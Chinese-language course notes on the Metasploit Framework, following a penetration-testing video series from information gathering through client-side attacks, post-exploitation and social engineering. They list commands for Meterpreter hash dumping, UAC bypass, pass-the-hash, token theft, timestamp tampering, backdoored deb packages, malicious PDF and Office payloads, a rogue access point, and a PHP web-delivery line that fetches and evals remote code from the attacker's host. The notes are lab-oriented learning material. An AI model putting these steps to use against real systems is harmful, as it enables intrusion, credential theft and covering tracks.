第18章 Metasploit Framework
142.渗透测试者的困扰.exe
143.Metasploit简介、教材和版本对比.exe
metasploit framework 是一个框架,渗透测试各个阶段的工具基本都具备,同时有灵活扩展的功能。
ruby语言开发最大的软件就是metasploit。HD More参与了shodan项目。
nessus openvas扫描出来的漏洞不一定真的存在,使用msf验证漏洞。msf集成到kali,更新kali同时会更新msf。
已购买中文第二版。
第一个是集成在kali中的版本。基于web的免费版在大批量工作时会有限制。
收费版的报告功能很强大。
144.Metasploit Framework 和MSF架构.exe
数据库默认端口5432,有异常时msf启动会提示数据库连接失败。
在不启动数据库情况下命令行输入msfconsole会提示连接数据库失败。
但是在不启动数据库点击桌面msf图标的时候会自动启动数据库。
145.MSF架构-技术功能模块.exe
ls /usr/share/metasploit-framework/modules/exploits/windows/smb/
POC/EXP是漏洞利用方法代码,可以调用payload或者shellcode,而没有shellcode/payload功能。
payload跟漏洞没有关系,漏洞怎么产生的,怎么利用的都没有关系。
获得shell的代码是shellcode,也可以只执行一条命令。
auxiliary里有包含DoS的模块,让目标崩溃的模块。不包含payload功能。
还有post模块,后攻击阶段的模块。
146.MSF基本使用和控制台命令.exe
在msf下也可以执行部分系统命令。
help vulns
-q静默方式启动,-r 资源文件,-v 当前版本
connect 是msf下的类似于nc的工具。
支持代理,支持ssl加密。
use 08-067
payload空间,坏字符。
show payloads #适用于当前模块的payload
show advanced
show evsion
show missing
每一个模块实际上是ruby语言,rb后缀名的。可以在当前模块下输入edit修改模块。或者使用系统命令进行修改。
设置好参数以后,可以先check一下再进行exploit。不是所有的模块都有check功能。
147.MSF-控制台命令.exe
db_rebuild_cache 建立缓存,提高速度。
db_connect 连接数据库,可以连接不同的用户,连接其他ip的数据库,协同工作的时候使用。
db_nmap msf下的nmap命令,功能一样,不同的是可以把扫描结果保存到数据库
里。
creds 扫出来的密码信息
vulns 扫出来的漏洞信息
loot 查看hashdump,获取到的hash值。
设置/取消设置变量 设置/取消全局变量 save保存变量值。下次进入仍然生效。
exploit -j 后台执行侦听
load 插件load openvas 装载插件
loadpath 指定加载模块目录
resource msf内调用rc,也可以在系统命令行调用rc msfconsol -r a.rc
kill 0
148.Exploit 模块.exe
active exploit 主动模块:攻击者主动发起payload。
这个模块需要知道目标用户名密码。
被动方式,创建一个网站,诱使客户端访问。
https保证数据传输安全,并不能提高服务器安全,也不能提高客户端安全
149.生成 payload.exe
payload可以编译直接拷贝到目标直接运行。
非必选参数,限制来源连接地址。
payload上下文:执行generate 生成ruby语言16进制内容显示出来。(当前payload)
-b过滤坏字符。\\x00
过滤坏字符会使用encoder,体积也会变大。
过滤坏字符太多的话,会出现没有能过滤的encoder。
可以加密一次也可以多次,也可以绑定其他exe,绑定后不影响原程序运行。
-s NOP sled length. -t 默认情况下输出ruby语言的payload,可以指定其他格式。
150.Meterpreter.exe
虽然根据之前的操作拿到了目标的shell,但是所作的事情比较少。meterpreter可以实现强大的攻击功能。
151.Meterpreter 基本命令和Meterpreter Python扩展.exe
ms08-067作为演示。
set payload windows/meterpreter/reverse_tcp
上传文件,路径用\\\\分割
进入meterpreter提示符。
run/bgrun 命令和post脚本,关闭av,等等很多后攻击阶段工具。
263个命令,U盘插入记录,域环境的话会更多的受影响。
execute -f cmd -i -H #-f指定程序 -i交互式 -H隐藏
getsystem 获取system账户权限 getprivs 查看权限 getproxy 获取代理设置
getpid 获取进程id ps查看进程列表 migrate 迁移到别的进程
hashdump 获取hash
idletime 目标操作系统空闲时间。如果长时间没有操作,可能没有人在操作。可以操作桌面。
resource 调用rc文件。
-i 每隔一秒钟抓拍
执行自定义的python脚本,需要解释环境,load python就不需要客户端有解释环境。
152.Msfcli.exe
153.Msf-信息收集 发现和端口扫描.exe
auxiliary模块收集目标的模块,rhost参数编程了rhosts,也就是可以指定多个目标。
具体模块有什么作用,有什么不同,可以查看info信息。
154.Msf-信息收集 IPID Idle扫描和UDP扫描.exe
僵尸扫描,查找僵尸主机。
155.Msf-信息收集 密码嗅探和SNAP扫描.exe
msf还支持被动扫描,数据流分析。
支持在线的抓包分析,支持文件分析。
matesploitable2 snmp 测试 ,修改侦听地址。
snmp_login 可以暴力破解conmm
snmp_enum可以读取配置。
下面连个模块式windows下的。
模块有高级参数,默认只显示一般。show advanced 显示高级参数
set verbose yes
156.Msf-信息收集 SMB服务扫描.exe
windows/linux下都有smb服务,可以进行版本扫描,得到操作系统信息。
winodws 管理员rid是500,不是根据用户名来确定身份。
157.Msf-信息收集 SSH服务扫描.exe
msf自带的字典文件。
基于公钥的登陆需要证书。
通过某种方式窃取到密钥的话,某些硬件设备的登录密钥是相同的。
158.Msf-信息收集 系统补丁.exe
options里有个参数是session,需要指定session,基于session的模块。
在meterpreter 输入background,使用上面模块查系统补丁。
ms08-067是漏洞编号,KB2871997是补丁编号。
运行时需要迁移到其他进程。
查的补丁编号也要set,默认只有2个。
159.Msf-信息收集 sql serve.exe
查询UDP 1434端口可以判断mssql,通过连接1434端口可以查出来tcp端口是多少。
160.Msf-信息收集 FTP.exe
161.Msf-弱点扫描.exe
某些版本的vnc安装完以后默认不设置密码。空密码漏洞
search ms12_020_check,一个是检查模块,一个是攻击模块。
如果拿到了账户信息,可以使用admin下的模块针对不同的产品不同的功能做管理。
dir_listing 用来列出目录,files_dir用来爆破目录。
wmap msf提供的插件。设计思路、命名模仿sqlmap--wmap
这个插件是利用msf内的针对http扫描的模块。
load wmap 以后多了针对wmap的命令。help
wmap_run -e 开始执行,凡是适用的模块都将被调用。
162.Msf-弱点扫描 和客户端渗透.exe
nexpose 商业版软件,试用期14天。
openvas nessus 导出使用nbe格式,nexpose使用xml格式。
导入之前/之后可以查看hosts 和services和vulns进行对比
先要启动nessus。
nessu_scan_launch id
服务端和客户端使用的payload要保持一致。
定制deb包
先下载deb包,比如freesweep,默认下载到/var/cache/apt/archives/partial目录
dpkg -x 解压deb包,到free目录。
vi control #里面添加相关信息。
vi postinst #安装后要执行的脚本。
163.Msf-客户端渗透.exe
第一个模块作用是用来生成pdf文件。
set payload windows/meterpreter/reverse_tcp #优先使用meterpreter的payload
set lhost
run #生成包含payload的pdf文件。把文件拷贝到目标客户端。
msf下进行侦听,目标打开文件。
获得shell以后可以迁移进程,防止客户端打开文件异常以后关机程序。
第二个模块,也是利用这个漏洞。在线欺骗
同时也要set payload
use priv #提升权限。
post 键盘记录payload,键盘记录只是显示了敲击的记录,系统返回的结果不会显示。
exploit/multi/browser/adobe_flash_hacking_team_uaf 欺骗用户打开网页,跟pdf过程一样。
exploit/multi/browser/adobe_flash_opaque_background_uaf
auxiliary/server/browser_autopwn2模块
所有msf里浏览器漏洞模块集成到一块,自动装载payload到msf。等待客户端连接。
侦听80,不同的客户端跳转到不同的payload端口
使用这类模块,可用payload就变成java目录
java meterpreter和windows meterpreter有一些差别
exploit/multi/browser/java_jre17_jmxbean
3个java模块使用方法一样。
手机客户端。手机上安装时会提示病毒。
生成vba脚本代码。生成2部分内容。第一部分是vba代码,第二部分十六进制的payload。
建立的word文件拷贝到目标打开。
164.Msf-后渗透测试阶段.exe
win7以后增加了uac,用户访问控制功能,管理员组的用户在运行高级权限功能的时候会有窗口提示。
默认的meterpreter下不能运行getsystem,先要load priv,执行时会失败,因为有UAC限制。
绕过UAC的3种方法:先backbround
use exploit/windows/local/ask
要求任何权限时都有窗口提示。
set payload 还是使用revers_tcp
利用现有seeion执行额外的pyaload。现在取得的shell就是通过UAC限制的session
load priv
getsystem 可以执行。
seesion 2可以绕过UAC限制。取得system权限。
第二种方法:use exploit/windows/local/bypassuac #local下面的模块都是基于已有的session进行操作。
set session
set payload
exploit #目标没有弹出窗口,会生成新的session
第三种方法:
use exploit/windows/local/bypassuac_injection
set payload
exploit
以上前提是获得的seesion权限已经是admin组。
利用漏洞提升权限,获得的本地一般权限账户。
同样需要set payload 直接就是system权限。
迁移到explorer进程也会随着用户注销而消失。
第1,4可以在win7 sp1上成功执行。
图形化payload
用第一个模块取得system,使用图形化payload
默认viewonly yes改成no,就可以操作。
165.Msf-后渗透测试阶段(二).exe
进入session以后可以获得操作系统账号hash,利用passthehash可以传输hash值进行验证,而不需要破解。msf可以调用passthehash。
psexec模块利用smb协议执行目标上面的命令。执行2条,以上有重复。
密码设置为hash,set payload
会有报错,因为有UAC。使用突破限制的session进入shell执行上面命令,上面命令是修改该注册表。取消UAC限制。
关掉UAC以后需要重启。shutdown /r /t 0 这也是关闭UAC的操作,而不是绕过。
这样就可以使用exec
netsh advfirewall set allprofiles state off
也可以关闭rdp
run getgui -e 开启rdp,也可以通过getgui添加用户
不用vnc,不开远程桌面也可以对桌面截图。
间隔性的截图,节省带宽。meterpreter下load和use作用一样。
获得admin token,一般用户冒充管理员进行操作。
交互式登录是正常登录或rdp等。非交互式登录是smb方式等。
盗用token在域环境特别有效。注销后token虽然失效,但权限保存,权限仍然在。
窃取token必须拿到本机管理员权限,进而窃取域管理员token
incognito是单独的一个软件,msf把它集成进来。
list_tokens -u
查看当前token,看到没有域管理员的token
当域管理员通过网络访问目标主机的时候,可以看到这个token
成功伪装成域管理员
166.Msf-后渗透测试阶段(三).exe
需要关闭UAC
需要获得meterpreter,反弹shell用在目标不固定,ip经常变化,或者在内网。
nc侦听端口或者bind_shell的形式目标有互联网固定ip。
添加启动项的时候注意关掉av,之类软件。
reg命令可以查看帮助
enumkey 内容 setval 增加键 queryval 查询
nc -d 静默执行 -L连接断开后继续侦听 -p 端口
第三条命令查询结果
167.Msf-后渗透测试阶段(四).exe
只保存最近50000个包,循环使用空间。
可以即使dump下来cap包。只能过滤meterpreter控制流量。
psnuffle模块分析抓下来包内的信息。功能有限可以借助Wireshark分析。
注意转义符\\和空格都需要\\转义符。
Modified 修改 修改文件内容
Accessed 访问 读取、打开文件、复制
Changed 变更 属性、权限修改
ls -al 默认看到mtime
ls 不会更新atime
touch -d -t atime mtime 更新
修改内容3个时间戳都会更新。
msf里有timestomp模块,功能更强大。
windows下ntfs多了一个E时间。E:MFT entry
windows下,文件改名只修改entry time
-f 指定一个文件,以这个文件的时间作为模板。
-m / -a / -c / -e / 所有修改-z
168.Msf-后渗透测试阶段(五).exe
kali 仅主机模式网卡1 mono1 仅主机模式网卡1 桥接模式
mono2 仅主机模式网卡2 桥接模式 win7 仅主机模式网卡2 host 仅主机模式网卡2
基于session会话,把目标是win7内网的数据流送到win7转发
也适用于目标有双网卡的情况。
192.168.21.95 是mono2 外网口地址。自动判断的。
先使用portscan/tcp模块进行内网扫描。
db_nmap命令不支持,只能使用msf里面的扫描模块。
在对xp进行渗透测试时,payload的lhost ip 要提前,正常应该在kali,提前到mono1也不行,需要提前到win7。win7会自动路由返回到kali
portfwd add -l 3389 -r 2.1.1.11 -p 3389 #不指定本地IP也行。
路由方式是流量路由,端口转发是针对端口。
set exitonsession false #kali端侦听端口不因目标连接过来后而关闭。等于始终侦听。
169.Msf-后渗透测试阶段(六).exe
arp扫描本地网络,检查是不是虚拟机,收集账号及token,获取程序列表,登陆的用户,snmp信息,侦察目标本地提权漏洞,删除用户,目标环境信息,firefox保存的密码,ssh保存密码,检查某个文件是不是恶意软件。
已经获得token的用户不会因为删除账户而注销
post脚本自动执行:比如在目标连接过来以后自动迁移到别的进程,避免连接进程被断开。
set InitialAutoRunScript migrate -n explorer.exe #大部分post模块都有这个参数,提前设置
set AutoRunScript post/windows/gather/dumplinks #这个是一个模块,自动执行模块,获得windows当前用户最近打开的文档记录。
autorunscripte 只能指定一个模块
InitialAutoRunScript先运行一个模块或脚本,再运行autorunscripte。
170.Msf-后渗透测试阶段(七).exe
nc创建的自启动也只是nc功能,不是meterpreter。
有两种方式,第一种run metsvc -A
在目标本地安装一个系统服务,侦听31337端口,这个端口nc连不上。
可以nmap扫描31337端口,:)
不在目标侦听端口,使用反弹shell。
mimikatz可以把内存中用户明文密码提取出来。
winmine::infos 扫雷游戏。
winmine::cheat 作弊
利用文件上传漏洞,或者通过其他漏洞上传能执行php文件的目标。还提供java,jsp,asp的shell
web delivery
kali上运行http server,上面放漏洞执行代码,目标存在系统运行漏洞,主动访问kali us、rl地址,会把漏洞代码下载到目标机本地,执行反弹shell到kali。
目标下载php文件以后必须执行这一段代码:
php -d allow_url_fopen=true -r
“eval(file_get_contents(‘http://1.1.1.1/fTYWqmu'));\"
171.Msf-后渗透测试阶段(八).exe
默认情况下metasploitable2不支持RFI。修改配置文件。
kali上使用msf启动包含webshell的php站点。
PHPURI /?php=XXpathXX # XXpathXX会自动由msf替换成包含php webshell的路径。
正常应该时http://192.168.111.130/webshell.php
因为这个测试的web文件包换路径是登陆过以后才能访问到的。所以需要设置cookie。
设置完毕执行,
成功获得meterpreter
无线攻击方式,多种工具的集合。伪造AP,诱使别人连接,通过AP,可以嗅探抓包。
同时在AP上启动漏洞利用模块,检测目标存在的漏洞,尝试往流量里注入payload。创建meterpreter。既能嗅探信息,也能注入代码。
不是插件,也不是脚本,是一个资源文件。
安装DHCP。
伪造AP,启动dhcp,启动karmetasploit。伪造AP,必须先启动侦听模式。
ifconfig -a 看到at0,未激活。
ifconfig at0 up 10.0.0.1 netmask 255.255.255.0 #激活at0,并且设置IP地址。
touch /var/lib/dhcp/dhcpd.leases #建立租约文件。
此时AP已经可以看到,OPEN状态。但是没法上网。这时候就可以启动karmetasploit了。
如果发现漏洞建立meterpreter,但是客户端连上AP以后不能上网断开AP连接以后meterpreter就同时断开了。所以要修改配置文件。让客户端可以正常的使用伪造AP。
修改karma.rc_.txt,删除数据库连接部分,删除setg所有参数。
文件内有dns劫持模块。fakedns
建议增加autopwn2,默认已有autopwn。
msf内还有安全监测模块。检测是否由恶意软件。
打开ip转发,加入iptables策略。
172.Armitage图形化端-简介安装.exe
基于java开发的图形化界面。
armitage是客户端,msfrpcd是服务端。端口55553
所有操作都是服务端完成,服务端来调用msf模块。客户端只是发送命令。
多个客户端共享漏洞数据。
需要先启动数据库,不需要进入msfconsole
teamserver ip pass #服务端启动。
客户端启动输入相应信息。
验证finger,输入nickname
173.Armitage 图形化前端-启动、发现主机、工作区、获取目标.exe
可以手动添加host,也可以导入nmap之类的扫描结果。
导入以后可以进行扫描,扫描以后可以进行自动化攻击。
metasploitable2 自动攻击可以建立4个session
可以看到建立了4个shell。
添加工作区,按照条件对多个目标过滤分区。可以为目标添加标签,进行工作区区分。
工作区可以激活,隐藏其他目标,工作区是个人独立的。个人视角的目标动态筛选
可以在这里生成exe,发送给目标。
侦听端口在listeners---revers_tcp---
也可以bind tcp 主动连到目标。
也可以建立隐藏的tcp bind
运行以后,目标有进程,但是没有打开端口。但是一旦有Ahost IP 的主机连过来的时候才侦听。连接以后会看到打开了相应的端口,建立了相应的连接。
browser_autopwn2模块建立网站,欺骗目标打开。
可以持久化会话。
pass session 基于一个session建立另外一个session
可以做post一些操作,可以作为跳板渗透其他内网主机。
可以利用的漏洞。
默认自动攻击时使用的漏洞级别。
下一项,可以做为代理。另一台主机可以把代理设置为kali。
kali使用已建立的session 和路由,那么可以用客户端访问目标资源。
scripts 扩展功能,扩展armitage的功能。
默认已有脚本Veil-Evasion?/use/share/veil-evasion/tools/cortana/veil_evasion.cna
选中以后需要确定文件的路径
还可以支持导出报告。
另外一个类似软件:Cobalt Strike 商业软件,有破解版。
也用于红队团结协作。
174.新闻插播和社会工程学.exe
:
寻找合理的托词、借口,获取目标信任。
开源免费,可以自己修改。
11第三方模块,10,短信欺骗,9,poershell,8,二维码生成 7,伪造AP,6,嵌入式开发5,邮件炸弹 4,创建payload和侦听,3,感染U盘等,也是生成payload或文件格式payload,autoini ,2,web攻击向量,1,鱼叉式钓鱼
/root/.set/下临时文件,可以定时清除。
web攻击登录收集信息以后会转到正常页面,隐蔽性好。
鱼叉式钓鱼,可以生成pdf格式的payload,可以和以后pdf合并。
发邮件需要smtp服务,收件人的服务器可能会拒收,判断出有病毒。
因篇幅问题不能全部显示,请点此查看更多更全内容